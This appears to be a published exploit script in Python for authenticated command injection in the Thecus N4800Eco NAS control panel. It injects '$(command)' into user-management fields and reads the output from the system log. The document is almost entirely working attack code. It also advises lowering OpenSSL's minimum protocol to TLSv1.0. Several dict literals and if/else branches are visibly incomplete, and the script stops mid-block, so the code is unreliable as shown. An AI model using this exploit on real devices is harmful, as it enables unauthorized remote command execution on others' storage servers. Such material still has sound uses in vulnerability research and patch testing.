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Thecus N4800Eco Nas Server Control Panel - Comand Injection

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# Exploit Title: Thecus N4800Eco Nas Server Control Panel - Comand Injection
# Date: 01/06/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: http://www.thecus.com/
# Software Link: http://www.thecus.com/product.php?PROD_ID=83
# Version: N4800Eco
# Description: https://docs.unsafe-inline.com/0day/thecus-n4800eco-nas-server-control-panel-comand-injection

import requests
import sys
import urllib3

# To fix SSL error that occurs when the script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = DEFAULT@SECLEVEL=2
# 2- Set value of MinProtocol as TLSv1.0

def readResult(s, target):
    d = {
        "fun": "setlog",
        "action": "query",
        "params": '[{"start":0,"limit":1,"catagory":"sys","level":"all"}]'
    url = "http://" + target + "/adm/setmain.php"
    resultReq = s.post(url, data=d, verify=False)
    dict = resultReq.text.split()
    print("[+] Reading system log...\n")
    print(dict[5:8])     #change this range to read whole output of the command

def delUser(s, target, command):
    d = {
        "action": "delete",
        "username": "$("+command+")"
    url = "http://" + target + "/adm/setmain.php?fun=setlocaluser"
    delUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

    if 'Local User remove succeeds' in delUserReq.text:
        print('[+] %s command was executed successfully' % command)
        print('[-] %s command was not executed!' %command)
    readResult(s, target)

def addUser(s, target, command):
    d = {'batch_content': '%24('+command+')%2C22222%2C9999'}
    url = "http://" + target + "/adm/setmain.php?fun=setbatch"
    addUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

    if 'Users and groups were created successfully.' in addUserReq.text:
        print('[+] Users and groups were created successfully')
        print('[-] Users and groups were not created')
    delUser(s, target, command)

def login(target, username, password, command=None):
    s = requests.Session()
    d = {
        "&eplang": "english",
        "p_pass": password,
        "p_user": username,
        "username": username,
        "pwd": password,
        "action": "login",
        "option": "com_extplorer"
    url = "http://" + target + "/adm/login.php"
    loginReq = s.post(url, data=d, allow_redirects=False, verify=False)

    if '"success":true' in loginReq.text:
        print('[+] Authentication successful')
    elif '"success":false' in loginReq.text:
        print('[-] Authentication failed!')
        print('[-] Something went wrong!')
    addUser(s, target, command)

def main(args):
    if len(args) != 5:
        print("usage: %s targetIp:port username password command" % (args[0]))
        print("Example admin admin id")
    login(target=args[1], username=args[2], password=args[3], command=args[4])

if __name__ == "__main__":
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